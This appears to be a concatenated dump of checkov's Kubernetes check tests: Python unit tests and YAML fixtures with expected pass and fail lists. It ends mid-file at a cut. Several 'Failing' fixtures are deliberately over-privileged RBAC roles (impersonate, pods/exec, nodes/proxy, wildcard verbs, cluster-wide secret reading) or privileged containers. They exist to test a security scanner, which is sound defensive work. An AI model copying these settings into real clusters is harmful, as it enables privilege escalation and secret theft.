================================================ FILE: tests/kubernetes/checks/test_SuppressedAnnotations.py ================================================ import os import unittest from checkov.kubernetes.checks.resource.k8s.CPULimits import check from checkov.kubernetes.runner import Runner from checkov.runner_filter import RunnerFilter class TestCPULimits(unittest.TestCase): def test_summary(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = current_dir + "/example_Suppressed" report = runner.run(root_folder=test_files_dir,runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() self.assertEqual(summary['passed'], 0) self.assertEqual(summary['failed'], 1) self.assertEqual(summary['skipped'], 8) self.assertEqual(summary['parsing_errors'], 0) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/kubernetes/checks/test_Tiller.py ================================================ import os import unittest from checkov.kubernetes.checks.resource.k8s.Tiller import check from checkov.kubernetes.runner import Runner from checkov.runner_filter import RunnerFilter class TestTiller(unittest.TestCase): def test_summary(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = current_dir + "/example_Tiller" report = runner.run(root_folder=test_files_dir,runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() self.assertEqual(summary['passed'], 1) self.assertEqual(summary['failed'], 1) self.assertEqual(summary['skipped'], 0) self.assertEqual(summary['parsing_errors'], 0) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/kubernetes/checks/test_TillerDeploymentListener.py ================================================ import os import unittest from checkov.kubernetes.checks.resource.k8s.TillerDeploymentListener import check from checkov.kubernetes.runner import Runner from checkov.runner_filter import RunnerFilter class TestTillerDeploymentListener(unittest.TestCase): def test_summary(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = current_dir + "/example_TillerDeploymentListener" report = runner.run(root_folder=test_files_dir,runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() self.assertEqual(summary['passed'], 2) self.assertEqual(summary['failed'], 2) self.assertEqual(summary['skipped'], 0) self.assertEqual(summary['parsing_errors'], 0) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/kubernetes/checks/test_TillerService.py ================================================ import os import unittest from checkov.kubernetes.checks.resource.k8s.TillerService import check from checkov.kubernetes.runner import Runner from checkov.runner_filter import RunnerFilter class TestTillerService(unittest.TestCase): def test_summary(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = current_dir + "/example_TillerService" report = runner.run(root_folder=test_files_dir,runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() self.assertEqual(summary['passed'], 0) self.assertEqual(summary['failed'], 2) self.assertEqual(summary['skipped'], 0) self.assertEqual(summary['parsing_errors'], 0) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/kubernetes/checks/test_WildcardRoles.py ================================================ import os import unittest from checkov.kubernetes.checks.resource.k8s.WildcardRoles import check from checkov.kubernetes.runner import Runner from checkov.runner_filter import RunnerFilter class TestWildcardRoles(unittest.TestCase): def test_summary(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = current_dir + "/example_WildcardRoles" report = runner.run(root_folder=test_files_dir,runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() passing_resources = { 'Role.test.test-should-pass-3', 'Role.test.test-should-pass-2' } failing_resources = { 'Role.test.test-should-fail-1', 'Role.test.test-should-fail-2', 'ClusterRole.test.test-should-fail-3' } self.assertEqual(summary['passed'], 2) self.assertEqual(summary['failed'], 3) self.assertEqual(summary['skipped'], 0) self.assertEqual(summary['parsing_errors'], 0) passed_check_resources = set([c.resource for c in report.passed_checks]) failed_check_resources = set([c.resource for c in report.failed_checks]) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/kubernetes/checks/test_k8s_check_utils.py ================================================ from checkov.kubernetes.checks.resource.k8s.k8s_check_utils import extract_commands def test_non_int_extract_commands() -> None: conf = {'command': ['kube-apiserver', '--encryption-provider-config=config.file']} keys, values = extract_commands(conf) assert keys == ['kube-apiserver', '--encryption-provider-config'] assert values == ['', 'config.file'] def test_int_extract_commands() -> None: conf = {'command': ['kube-apiserver', '--encryption-provider-config=config.file', '-p', 9082]} keys, values = extract_commands(conf) assert keys == ['kube-apiserver', '--encryption-provider-config', '-p', 9082] assert values == ['', 'config.file', '', ''] ================================================ FILE: tests/kubernetes/checks/test_wildcard_entities.py ================================================ import os import unittest from checkov.common.models.enums import CheckCategories, CheckResult from checkov.kubernetes.checks.resource.base_spec_check import BaseK8Check from checkov.kubernetes.checks.resource.registry import registry from checkov.kubernetes.runner import Runner from checkov.runner_filter import RunnerFilter class KubernetesCheck(BaseK8Check): def __init__(self): name = "Kubernetes test" id = "CKV_T_1" supported_kind = ['Pod*Policy'] categories = [CheckCategories.KUBERNETES] super().__init__(name=name, id=id, categories=categories, supported_entities=supported_kind) def scan_spec_conf(self, conf): return CheckResult.PASSED class TestWildcardEntities(unittest.TestCase): def test_summary(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) check = KubernetesCheck() test_files_dir = current_dir + "/example_WildcardEntities" report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() registry.wildcard_checks['Pod*Policy'].remove(check) self.assertEqual(summary['passed'], 1) self.assertEqual(summary['failed'], 0) self.assertEqual(summary['skipped'], 0) self.assertEqual(summary['parsing_errors'], 0) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/kubernetes/graph/__init__.py ================================================ ================================================ FILE: tests/kubernetes/graph/base_graph_tests.py ================================================ from copy import deepcopy from unittest import TestCase from checkov.common.graph.graph_builder.graph_components.block_types import BlockType from checkov.kubernetes.graph_builder.graph_components.blocks import KubernetesBlock class TestGraph(TestCase): def assert_vertex(self, resource_vertex, resource): resource_name = f'{resource["kind"]}.{resource["metadata"].get("namespace", "default")}.{resource["metadata"]["name"]}' config = deepcopy(resource) attributes = deepcopy(config) enrich_attributes(attributes, resource) self.assertEqual(resource_name, resource_vertex.name) self.assertEqual(resource_name, resource_vertex.id) self.assertEqual(BlockType.RESOURCE, resource_vertex.block_type) self.assertEqual("Kubernetes", resource_vertex.source) self.assertDictEqual(config, resource_vertex.config) self.assertDictEqual(attributes, resource_vertex.attributes) def extract_inner_attributes(attributes): attributes_to_add = {} for attribute_key in attributes: attribute_value = attributes[attribute_key] if isinstance(attribute_value, dict) or ( isinstance(attribute_value, list) and len(attribute_value) > 0 and isinstance(attribute_value[0], dict)): inner_attributes = KubernetesBlock.get_inner_attributes(attribute_key, attribute_value) attributes_to_add.update(inner_attributes) return attributes_to_add def enrich_attributes(attributes, resource): attributes["resource_type"] = resource["kind"] attributes["__startline__"] = resource["__startline__"] attributes["__endline__"] = resource["__endline__"] attributes.update(extract_inner_attributes(attributes)) ================================================ FILE: tests/kubernetes/graph/checks/__init__.py ================================================ ================================================ FILE: tests/kubernetes/graph/checks/resources/AllowPrivilegeEscalation/expected.yaml ================================================ pass: - 'Pod.example-ns.nginx-ingress-controller-2.app.kubernetes.io/name-ingress-nginx.app.kubernetes.io/part-of-ingress-nginx' fail: - 'Pod.example-ns.nginx-ingress-controller.app.kubernetes.io/name-ingress-nginx.app.kubernetes.io/part-of-ingress-nginx' ================================================ FILE: tests/kubernetes/graph/checks/resources/AllowPrivilegeEscalation/template.yaml ================================================ kind: DaemonSet apiVersion: extensions/v1beta1 metadata: name: nginx-ingress-controller namespace: example-ns labels: app.kubernetes.io/name: ingress-nginx app.kubernetes.io/part-of: ingress-nginx spec: selector: matchLabels: app.kubernetes.io/name: ingress-nginx app.kubernetes.io/part-of: ingress-nginx template: metadata: labels: app.kubernetes.io/name: ingress-nginx app.kubernetes.io/part-of: ingress-nginx annotations: prometheus.io/port: "10254" prometheus.io/scrape: "true" spec: serviceAccountName: nginx-ingress-serviceaccount imagePullSecrets: - name: private-repo containers: - name: nginx-ingress-controller image: private_repo/private_image args: - /nginx-ingress-controller - --configmap=$(POD_NAMESPACE)/nginx-configuration - --tcp-services-configmap=$(POD_NAMESPACE)/tcp-services - --udp-services-configmap=$(POD_NAMESPACE)/udp-services - --publish-service=$(POD_NAMESPACE)/ingress-nginx - --annotations-prefix=nginx.ingress.kubernetes.io - --default-ssl-certificate=$(POD_NAMESPACE)/tls-cert securityContext: allowPrivilegeEscalation: true --- kind: DaemonSet apiVersion: extensions/v1beta1 metadata: name: nginx-ingress-controller-2 namespace: example-ns labels: app.kubernetes.io/name: ingress-nginx app.kubernetes.io/part-of: ingress-nginx spec: selector: matchLabels: app.kubernetes.io/name: ingress-nginx app.kubernetes.io/part-of: ingress-nginx template: metadata: labels: app.kubernetes.io/name: ingress-nginx app.kubernetes.io/part-of: ingress-nginx annotations: prometheus.io/port: "10254" prometheus.io/scrape: "true" spec: serviceAccountName: nginx-ingress-serviceaccount imagePullSecrets: - name: private-repo containers: - name: nginx-ingress-controller image: private_repo/private_image args: - /nginx-ingress-controller - --configmap=$(POD_NAMESPACE)/nginx-configuration - --tcp-services-configmap=$(POD_NAMESPACE)/tcp-services - --udp-services-configmap=$(POD_NAMESPACE)/udp-services - --publish-service=$(POD_NAMESPACE)/ingress-nginx - --annotations-prefix=nginx.ingress.kubernetes.io - --default-ssl-certificate=$(POD_NAMESPACE)/tls-cert securityContext: allowPrivilegeEscalation: false ================================================ FILE: tests/kubernetes/graph/checks/resources/AllowedCapabilities/expected.yaml ================================================ pass: - 'Pod.default.my-nginx.app-nginx' fail: - 'Pod.default.cassandra.app-cassandra' ================================================ FILE: tests/kubernetes/graph/checks/resources/AllowedCapabilities/template.yaml ================================================ apiVersion: apps/v1 kind: StatefulSet metadata: name: cassandra labels: app: cassandra spec: serviceName: cassandra replicas: 3 selector: matchLabels: app: cassandra template: metadata: labels: app: cassandra spec: terminationGracePeriodSeconds: 1800 containers: - name: cassandra image: gcr.io/google-samples/cassandra:v13 imagePullPolicy: Always securityContext: capabilities: add: - IPC_LOCK --- apiVersion: apps/v1 kind: Deployment metadata: name: my-nginx labels: app: nginx spec: replicas: 3 selector: matchLabels: app: nginx template: metadata: labels: app: nginx spec: containers: - name: nginx image: nginx:1.14.2 ports: - containerPort: 80 ================================================ FILE: tests/kubernetes/graph/checks/resources/ImpersonatePermissions/Failing/1/clusterrole1.yaml ================================================ apiVersion: rbac.authorization.k8s.io/v1 kind: ClusterRole metadata: name: failing-cr1 rules: - apiGroups: - "" resources: - "serviceaccounts" verbs: - "*" ================================================ FILE: tests/kubernetes/graph/checks/resources/ImpersonatePermissions/Failing/1/clusterrolebinding1.yaml ================================================ apiVersion: rbac.authorization.k8s.io/v1 kind: ClusterRoleBinding metadata: name: failing-crb1 subjects: - kind: ServiceAccount name: over-privileged-sa1 namespace: default roleRef: kind: ClusterRole name: failing-cr1 apiGroup: rbac.authorization.k8s.io ================================================ FILE: tests/kubernetes/graph/checks/resources/ImpersonatePermissions/Failing/2/clusterrole2.yaml ================================================ apiVersion: rbac.authorization.k8s.io/v1 kind: ClusterRole metadata: name: failing-cr2 rules: - apiGroups: - "" resources: - "users" verbs: - "impersonate" ================================================ FILE: tests/kubernetes/graph/checks/resources/ImpersonatePermissions/Failing/2/clusterrolebinding2.yaml ================================================ apiVersion: rbac.authorization.k8s.io/v1 kind: ClusterRoleBinding metadata: name: failing-crb2 subjects: - kind: ServiceAccount name: over-privileged-sa2 namespace: prod roleRef: kind: ClusterRole name: failing-cr2 apiGroup: rbac.authorization.k8s.io ================================================ FILE: tests/kubernetes/graph/checks/resources/ImpersonatePermissions/Failing/3/Role.yaml ================================================ apiVersion: rbac.authorization.k8s.io/v1 kind: Role metadata: namespace: default name: risky-impersonate-role rules: - apiGroups: - "*" resources: - "groups" - "users" - "serviceccounts" - "*" verbs: - "impersonate" ================================================ FILE: tests/kubernetes/graph/checks/resources/ImpersonatePermissions/Failing/3/RoleBinding.yaml ================================================ apiVersion: rbac.authorization.k8s.io/v1 kind: RoleBinding metadata: name: sa-escalate namespace: default subjects: - kind: ServiceAccount name: escalating-sa namespace: dev roleRef: kind: Role name: risky-impersonate-role apiGroup: rbac.authorization.k8s.io ================================================ FILE: tests/kubernetes/graph/checks/resources/ImpersonatePermissions/Passing/1/clusterrole1.yaml ================================================ apiVersion: rbac.authorization.k8s.io/v1 kind: ClusterRole metadata: name: passing-cr1 rules: - apiGroups: - "" resources: - "serviceaccounts" verbs: - "create" ================================================ FILE: tests/kubernetes/graph/checks/resources/ImpersonatePermissions/Passing/1/clusterrolebinding1.yaml ================================================ apiVersion: rbac.authorization.k8s.io/v1 kind: ClusterRoleBinding metadata: name: passing-crb1 subjects: - kind: ServiceAccount name: over-privileged-sa1 namespace: default roleRef: kind: ClusterRole name: passing-cr1 apiGroup: rbac.authorization.k8s.io ================================================ FILE: tests/kubernetes/graph/checks/resources/ImpersonatePermissions/expected.yaml ================================================ fail: - "ClusterRoleBinding.default.failing-crb1" - "ClusterRoleBinding.default.failing-crb2" - "RoleBinding.default.sa-escalate" pass: - "ClusterRoleBinding.default.passing-crb1" ================================================ FILE: tests/kubernetes/graph/checks/resources/IsNotEmpty/Failing/deployment.yaml ================================================ apiVersion: apps/v1 kind: Deployment metadata: name: failing-selector-deployment spec: replicas: 2 # Intentionally leaving matchLabels empty selector: matchLabels: {} template: metadata: labels: app: my-failing-selector-app spec: containers: - name: my-container image: nginx:latest ports: - containerPort: 80 ================================================ FILE: tests/kubernetes/graph/checks/resources/IsNotEmpty/Passing/deployment.yaml ================================================ apiVersion: apps/v1 kind: Deployment metadata: name: passing-selector-deployment spec: replicas: 2 selector: matchLabels: app: my-passing-selector-app template: metadata: labels: app: my-passing-selector-app spec: containers: - name: my-container image: nginx:latest ports: - containerPort: 80 ================================================ FILE: tests/kubernetes/graph/checks/resources/IsNotEmpty/expected.yaml ================================================ pass: - "Deployment.default.passing-selector-deployment" fail: - "Deployment.default.failing-selector-deployment" ================================================ FILE: tests/kubernetes/graph/checks/resources/ModifyServicesStatus/Failing/1/FailingClusterRole.yaml ================================================ apiVersion: rbac.authorization.k8s.io/v1 kind: ClusterRole metadata: name: failing-cr1 rules: - apiGroups: - "rbac.authorization.k8s.io" resources: - "services/status" verbs: - "*" ================================================ FILE: tests/kubernetes/graph/checks/resources/ModifyServicesStatus/Failing/1/FailingClusterRoleBinding.yaml ================================================ apiVersion: rbac.authorization.k8s.io/v1 # This cluster role binding allows anyone in the "manager" group to read secrets in any namespace. kind: ClusterRoleBinding metadata: name: failing-crb1 subjects: - kind: ServiceAccount name: over-privileged-sa1 namespace: default roleRef: kind: ClusterRole name: failing-cr1 apiGroup: rbac.authorization.k8s.io ================================================ FILE: tests/kubernetes/graph/checks/resources/ModifyServicesStatus/Failing/2/FailingClusterRole.yaml ================================================ apiVersion: rbac.authorization.k8s.io/v1 kind: ClusterRole metadata: name: failing-cr2 rules: - apiGroups: - "rbac.authorization.k8s.io" resources: - "*" verbs: - "bind" - "update" ================================================ FILE: tests/kubernetes/graph/checks/resources/ModifyServicesStatus/Failing/2/FailingClusterRoleBinding.yaml ================================================ apiVersion: rbac.authorization.k8s.io/v1 kind: ClusterRoleBinding metadata: name: failing-crb2 subjects: - kind: ServiceAccount name: over-privileged-sa2 namespace: prod roleRef: kind: ClusterRole name: failing-cr2 apiGroup: rbac.authorization.k8s.io ================================================ FILE: tests/kubernetes/graph/checks/resources/ModifyServicesStatus/Passing/1/PassingClusterRole.yaml ================================================ apiVersion: rbac.authorization.k8s.io/v1 kind: ClusterRole metadata: name: passing-cr1 rules: - apiGroups: - "rbac.authorization.k8s.io" resources: - "pods" verbs: - "update" ================================================ FILE: tests/kubernetes/graph/checks/resources/ModifyServicesStatus/Passing/1/PassingClusterRoleBinding.yaml ================================================ apiVersion: rbac.authorization.k8s.io/v1 kind: ClusterRoleBinding metadata: name: passing-crb1 subjects: - kind: ServiceAccount name: not-that-privileged namespace: default roleRef: kind: ClusterRole name: passing-cr1 apiGroup: rbac.authorization.k8s.io ================================================ FILE: tests/kubernetes/graph/checks/resources/ModifyServicesStatus/Passing/2/PassingClusterRole.yaml ================================================ apiVersion: rbac.authorization.k8s.io/v1 kind: ClusterRole metadata: name: passing-cr2 rules: - apiGroups: - "rbac.authorization.k8s.io" resources: - "*" verbs: - "bind" - "create" ================================================ FILE: tests/kubernetes/graph/checks/resources/ModifyServicesStatus/Passing/2/PassingClusterRoleBinding.yaml ================================================ apiVersion: rbac.authorization.k8s.io/v1 kind: ClusterRoleBinding metadata: name: passing-crb2 subjects: - kind: User # This should pass as the check only filters on `ServiceAccount/Node` name: over-privileged-user namespace: prod roleRef: kind: ClusterRole name: passing-cr2 apiGroup: rbac.authorization.k8s.io ================================================ FILE: tests/kubernetes/graph/checks/resources/ModifyServicesStatus/expected.yaml ================================================ pass: - "ClusterRoleBinding.default.passing-crb1" - "ClusterRoleBinding.default.passing-crb2" fail: - "ClusterRoleBinding.default.failing-crb1" - "ClusterRoleBinding.default.failing-crb2" ================================================ FILE: tests/kubernetes/graph/checks/resources/NoCreateNodesProxyOrPodsExec/Failing/1/clusterrole1.yaml ================================================ apiVersion: rbac.authorization.k8s.io/v1 kind: ClusterRole metadata: name: failing-cr1 rules: - apiGroups: - "*" resources: - "pods/exec" verbs: - "*" ================================================ FILE: tests/kubernetes/graph/checks/resources/NoCreateNodesProxyOrPodsExec/Failing/1/clusterrolebinding1.yaml ================================================ apiVersion: rbac.authorization.k8s.io/v1 kind: ClusterRoleBinding metadata: name: failing-crb1 subjects: - kind: ServiceAccount name: over-privileged-sa1 namespace: default roleRef: kind: ClusterRole name: failing-cr1 apiGroup: rbac.authorization.k8s.io ================================================ FILE: tests/kubernetes/graph/checks/resources/NoCreateNodesProxyOrPodsExec/Failing/2/clusterrole2.yaml ================================================ apiVersion: rbac.authorization.k8s.io/v1 kind: ClusterRole metadata: name: failing-cr2 rules: - apiGroups: - "" resources: - "nodes/proxy" verbs: - "create" ================================================ FILE: tests/kubernetes/graph/checks/resources/NoCreateNodesProxyOrPodsExec/Failing/2/clusterrolebinding2.yaml ================================================ apiVersion: rbac.authorization.k8s.io/v1 kind: ClusterRoleBinding metadata: name: failing-crb2 subjects: - kind: ServiceAccount name: over-privileged-sa2 namespace: prod roleRef: kind: ClusterRole name: failing-cr2 apiGroup: rbac.authorization.k8s.io ================================================ FILE: tests/kubernetes/graph/checks/resources/NoCreateNodesProxyOrPodsExec/Failing/3/role3.yaml ================================================ apiVersion: rbac.authorization.k8s.io/v1 kind: Role metadata: name: failing-role3 namespace: kube-system rules: - apiGroups: - "" resources: - "nodes/proxy" - "pods" verbs: - "create" - "list" ================================================ FILE: tests/kubernetes/graph/checks/resources/NoCreateNodesProxyOrPodsExec/Failing/3/rolebinding3.yaml ================================================ apiVersion: rbac.authorization.k8s.io/v1 kind: RoleBinding metadata: name: failing-rb3 namespace: kube-system subjects: - kind: ServiceAccount name: over-privileged-sa3 namespace: test roleRef: kind: Role name: failing-role3 apiGroup: rbac.authorization.k8s.io ================================================ FILE: tests/kubernetes/graph/checks/resources/NoCreateNodesProxyOrPodsExec/Failing/4/clusterrole4.yaml ================================================ apiVersion: rbac.authorization.k8s.io/v1 kind: ClusterRole metadata: name: failing-cr4 rules: - apiGroups: - "rbac.authorization.k8s.io" resources: - "*" verbs: - "bind" - "create" ================================================ FILE: tests/kubernetes/graph/checks/resources/NoCreateNodesProxyOrPodsExec/Failing/4/clusterrolebinding4.yaml ================================================ apiVersion: rbac.authorization.k8s.io/v1 # This cluster role binding allows anyone in the "manager" group to read secrets in any namespace. kind: ClusterRoleBinding metadata: name: failing-crb4 subjects: - kind: ServiceAccount name: over-privileged-sa4 namespace: prod roleRef: kind: ClusterRole name: failing-cr4 apiGroup: rbac.authorization.k8s.io ================================================ FILE: tests/kubernetes/graph/checks/resources/NoCreateNodesProxyOrPodsExec/Failing/4/pod4.yaml ================================================ apiVersion: v1 kind: Pod metadata: name: webserver namespace: prod spec: serviceAccountName: over-privileged-sa4 containers: - name: webserver image: nginx:latest ports: - containerPort: 80 ================================================ FILE: tests/kubernetes/graph/checks/resources/NoCreateNodesProxyOrPodsExec/Passing/1/clusterrole1.yaml ================================================ apiVersion: rbac.authorization.k8s.io/v1 kind: ClusterRole metadata: name: passing-cr1 rules: - apiGroups: - "*" resources: - "pods" verbs: - "*" ================================================ FILE: tests/kubernetes/graph/checks/resources/NoCreateNodesProxyOrPodsExec/Passing/1/clusterrolebinding1.yaml ================================================ apiVersion: rbac.authorization.k8s.io/v1 kind: ClusterRoleBinding metadata: name: passing-crb1 subjects: - kind: User name: just-a-user-so-its-ok namespace: default roleRef: kind: ClusterRole name: passing-cr1 apiGroup: rbac.authorization.k8s.io ================================================ FILE: tests/kubernetes/graph/checks/resources/NoCreateNodesProxyOrPodsExec/Passing/2/clusterrole2.yaml ================================================ apiVersion: rbac.authorization.k8s.io/v1 kind: ClusterRole metadata: name: passing-cr2 rules: - apiGroups: - "" resources: - "pods" - "nodes/proxy" verbs: - get ================================================ FILE: tests/kubernetes/graph/checks/resources/NoCreateNodesProxyOrPodsExec/Passing/2/clusterrolebinding2.yaml ================================================ apiVersion: rbac.authorization.k8s.io/v1 kind: ClusterRoleBinding metadata: name: passing-crb2 subjects: - kind: ServiceAccount name: over-privileged-sa2 namespace: prod roleRef: kind: ClusterRole name: passing-cr2 apiGroup: rbac.authorization.k8s.io ================================================ FILE: tests/kubernetes/graph/checks/resources/NoCreateNodesProxyOrPodsExec/expected.yaml ================================================ fail: - "ClusterRoleBinding.default.failing-crb1" - "ClusterRoleBinding.default.failing-crb2" - "RoleBinding.kube-system.failing-rb3" - "ClusterRoleBinding.default.failing-crb4" pass: - "ClusterRoleBinding.default.passing-crb1" - "ClusterRoleBinding.default.passing-crb2" ================================================ FILE: tests/kubernetes/graph/checks/resources/NoDefaultNamespace/expected.yaml ================================================ pass: - 'Pod.dev.nginx-deployment.app-nginx' - 'Deployment.dev.nginx-deployment' - 'Service.dev.nginx-service' ================================================ FILE: tests/kubernetes/graph/checks/resources/NoDefaultNamespace/template.yaml ================================================ apiVersion: v1 kind: Namespace metadata: name: dev --- apiVersion: apps/v1 kind: Deployment metadata: name: nginx-deployment namespace: dev spec: replicas: 3 selector: matchLabels: app: nginx template: metadata: labels: app: nginx spec: containers: - name: nginx image: nginx:latest ports: - containerPort: 80 --- apiVersion: v1 kind: Service metadata: name: nginx-service namespace: dev spec: selector: app: nginx ports: - protocol: TCP port: 80 targetPort: 80 type: LoadBalancer ================================================ FILE: tests/kubernetes/graph/checks/resources/PodIsPubliclyAccessibleExample/Failing/Pod.yaml ================================================ apiVersion: v1 kind: Pod metadata: app: nginx-pod labels: app: nginx-pod spec: containers: - name: nginx image: nginx:1.14.2 ports: - containerPort: 80 ================================================ FILE: tests/kubernetes/graph/checks/resources/PodIsPubliclyAccessibleExample/Failing/Service.yaml ================================================ apiVersion: v1 kind: Service metadata: name: my-service spec: selector: app: nginx-pod ports: - protocol: TCP port: 80 targetPort: 9376 clusterIP: 10.0.171.239 type: LoadBalancer status: loadBalancer: ingress: - ip: 192.0.2.127 ================================================ FILE: tests/kubernetes/graph/checks/resources/PodIsPubliclyAccessibleExample/Passing/Pod.yaml ================================================ apiVersion: v1 kind: Pod metadata: app: nginx-pod labels: app: no-service-attached spec: containers: - name: nginx image: nginx:1.14.2 ports: - containerPort: 80 ================================================ FILE: tests/kubernetes/graph/checks/resources/PodIsPubliclyAccessibleExample/Passing/Service.yaml ================================================ apiVersion: v1 kind: Service metadata: name: not-attached-to-any-pod spec: selector: app: not-exist ports: - protocol: TCP port: 80 targetPort: 9376 clusterIP: 10.0.171.239 type: LoadBalancer status: loadBalancer: ingress: - ip: 192.0.2.127 ================================================ FILE: tests/kubernetes/graph/checks/resources/PodIsPubliclyAccessibleExample/expected.yaml ================================================ pass: - Pod.default.app-no-service-attached fail: - Pod.default.app-nginx-pod ================================================ FILE: tests/kubernetes/graph/checks/resources/ReadAllSecrets/Failing/ClusterRole.yaml ================================================ apiVersion: rbac.authorization.k8s.io/v1 kind: ClusterRole metadata: name: secret-reader rules: - apiGroups: - "" resources: - "secrets" verbs: - "get" - "watch" - "list" ================================================ FILE: tests/kubernetes/graph/checks/resources/ReadAllSecrets/Failing/ClusterRoleBinding.yaml ================================================ apiVersion: rbac.authorization.k8s.io/v1 # This cluster role binding allows the pod "pod1" to read secrets in any namespace. kind: ClusterRoleBinding metadata: name: read-secrets-global subjects: - kind: ServiceAccount name: sa1 roleRef: kind: ClusterRole name: secret-reader apiGroup: rbac.authorization.k8s.io ================================================ FILE: tests/kubernetes/graph/checks/resources/ReadAllSecrets/Passing/ClusterRole.yaml ================================================ apiVersion: rbac.authorization.k8s.io/v1 kind: ClusterRole metadata: name: pods-reader rules: - apiGroups: - "" resources: - "pods" verbs: - "get" - "watch" - "list" ================================================ FILE: tests/kubernetes/graph/checks/resources/ReadAllSecrets/Passing/ClusterRoleBinding.yaml ================================================ apiVersion: rbac.authorization.k8s.io/v1 # This cluster role binding allows the pod "pod1" to read secrets in any namespace. kind: ClusterRoleBinding metadata: name: read-pods-global subjects: - kind: ServiceAccount name: sa1 roleRef: kind: ClusterRole name: pods-reader apiGroup: rbac.authorization.k8s.io ================================================ FILE: tests/kubernetes/graph/checks/resources/ReadAllSecrets/Passing/RoleResourceName.yaml ================================================ apiVersion: rbac.authorization.k8s.io/v1 kind: Role metadata: name: "my-role" namespace: my-namespace rules: - apiGroups: [""] resources: ["secrets"] resourceNames: - "my-secret-resource" verbs: ["get"] --- apiVersion: rbac.authorization.k8s.io/v1 kind: RoleBinding metadata: name: "my-role-binding" namespace: my-namespace subjects: - kind: ServiceAccount name: "my-service-account" roleRef: kind: Role name: "my-role" apiGroup: rbac.authorization.k8s.io ================================================ FILE: tests/kubernetes/graph/checks/resources/ReadAllSecrets/expected.yaml ================================================ pass: - "ClusterRoleBinding.default.read-pods-global" - "RoleBinding.my-namespace.my-role-binding" fail: - "ClusterRoleBinding.default.read-secrets-global" ================================================ FILE: tests/kubernetes/graph/checks/resources/RequireAllPodsToHaveNetworkPolicy/expected.yaml ================================================ pass: - 'Pod.default.internal-proxy-deployment.app-internal-proxy' fail: - 'Pod.default.external-proxy-deployment.app-external-proxy' ================================================ FILE: tests/kubernetes/graph/checks/resources/RequireAllPodsToHaveNetworkPolicy/template.yaml ================================================ apiVersion: apps/v1 kind: Deployment metadata: name: internal-proxy-deployment labels: app: internal-proxy spec: selector: matchLabels: app: internal-proxy template: metadata: labels: app: internal-proxy spec: containers: - name: internal-api image: madhuakula/k8s-goat-internal-api resources: limits: cpu: 30m memory: 40Mi requests: cpu: 30m memory: 40Mi ports: - containerPort: 3000 - name: info-app image: madhuakula/k8s-goat-info-app resources: limits: cpu: 30m memory: 40Mi requests: cpu: 30m memory: 40Mi ports: - containerPort: 5000 --- apiVersion: apps/v1 kind: Deployment metadata: name: external-proxy-deployment labels: app: external-proxy spec: selector: matchLabels: app: external-proxy template: metadata: labels: app: external-proxy spec: containers: - name: internal-api image: madhuakula/k8s-goat-internal-api resources: limits: cpu: 30m memory: 40Mi requests: cpu: 30m memory: 40Mi ports: - containerPort: 3000 - name: info-app image: madhuakula/k8s-goat-info-app resources: limits: cpu: 30m memory: 40Mi requests: cpu: 30m memory: 40Mi ports: - containerPort: 5000 --- apiVersion: networking.k8s.io/v1 kind: NetworkPolicy metadata: name: test-network-policy namespace: default spec: podSelector: matchLabels: app: internal-proxy policyTypes: - Ingress - Egress ingress: - from: - ipBlock: cidr: 172.17.0.0/16 except: - 172.17.1.0/24 - podSelector: matchLabels: app: internal-proxy ports: - protocol: TCP port: 6379 egress: - to: - ipBlock: cidr: 10.0.0.0/24 ports: - protocol: TCP port: 5978 --- metadata: annotations: {} labels: policyname: default name: achia-yoyo namespace: ns2 podSelector: matchExpressions: [] matchLabels: {} policyTypes: [] spec: kind: NetworkPolicy apiVersion: extensions/achia ================================================ FILE: tests/kubernetes/graph/checks/resources/RoleBindingPE/Failing1/FailingClusterRole.yaml ================================================ apiVersion: rbac.authorization.k8s.io/v1 kind: ClusterRole metadata: name: failing-cr1 rules: - apiGroups: - "rbac.authorization.k8s.io" resources: - "clusterrolebindings" verbs: - "*" ================================================ FILE: tests/kubernetes/graph/checks/resources/RoleBindingPE/Failing1/FailingClusterRoleBinding.yaml ================================================ apiVersion: rbac.authorization.k8s.io/v1 # This cluster role binding allows anyone in the "manager" group to read secrets in any namespace. kind: ClusterRoleBinding metadata: name: failing-crb1 subjects: - kind: ServiceAccount name: over-privileged-sa1 namespace: default roleRef: kind: ClusterRole name: failing-cr1 apiGroup: rbac.authorization.k8s.io ================================================ FILE: tests/kubernetes/graph/checks/resources/RoleBindingPE/Failing2/FailingClusterRole.yaml ================================================ apiVersion: rbac.authorization.k8s.io/v1 kind: ClusterRole metadata: name: failing-cr2 rules: - apiGroups: - "rbac.authorization.k8s.io" resources: - "*" verbs: - "bind" - "create" ================================================ FILE: tests/kubernetes/graph/checks/resources/RoleBindingPE/Failing2/FailingClusterRoleBinding.yaml ================================================ apiVersion: rbac.authorization.k8s.io/v1 kind: ClusterRoleBinding metadata: name: failing-crb2 subjects: - kind: ServiceAccount name: over-privileged-sa2 namespace: prod roleRef: kind: ClusterRole name: failing-cr2 apiGroup: rbac.authorization.k8s.io ================================================ FILE: tests/kubernetes/graph/checks/resources/RoleBindingPE/Failing3/FailingRole.yaml ================================================ apiVersion: rbac.authorization.k8s.io/v1 kind: Role metadata: name: failing-role3 namespace: kube-system rules: - apiGroups: - "rbac.authorization.k8s.io" resources: - "rolebindings" verbs: - "bind" - "create" ================================================ FILE: tests/kubernetes/graph/checks/resources/RoleBindingPE/Failing3/FailingRoleBinding.yaml ================================================ apiVersion: rbac.authorization.k8s.io/v1 kind: 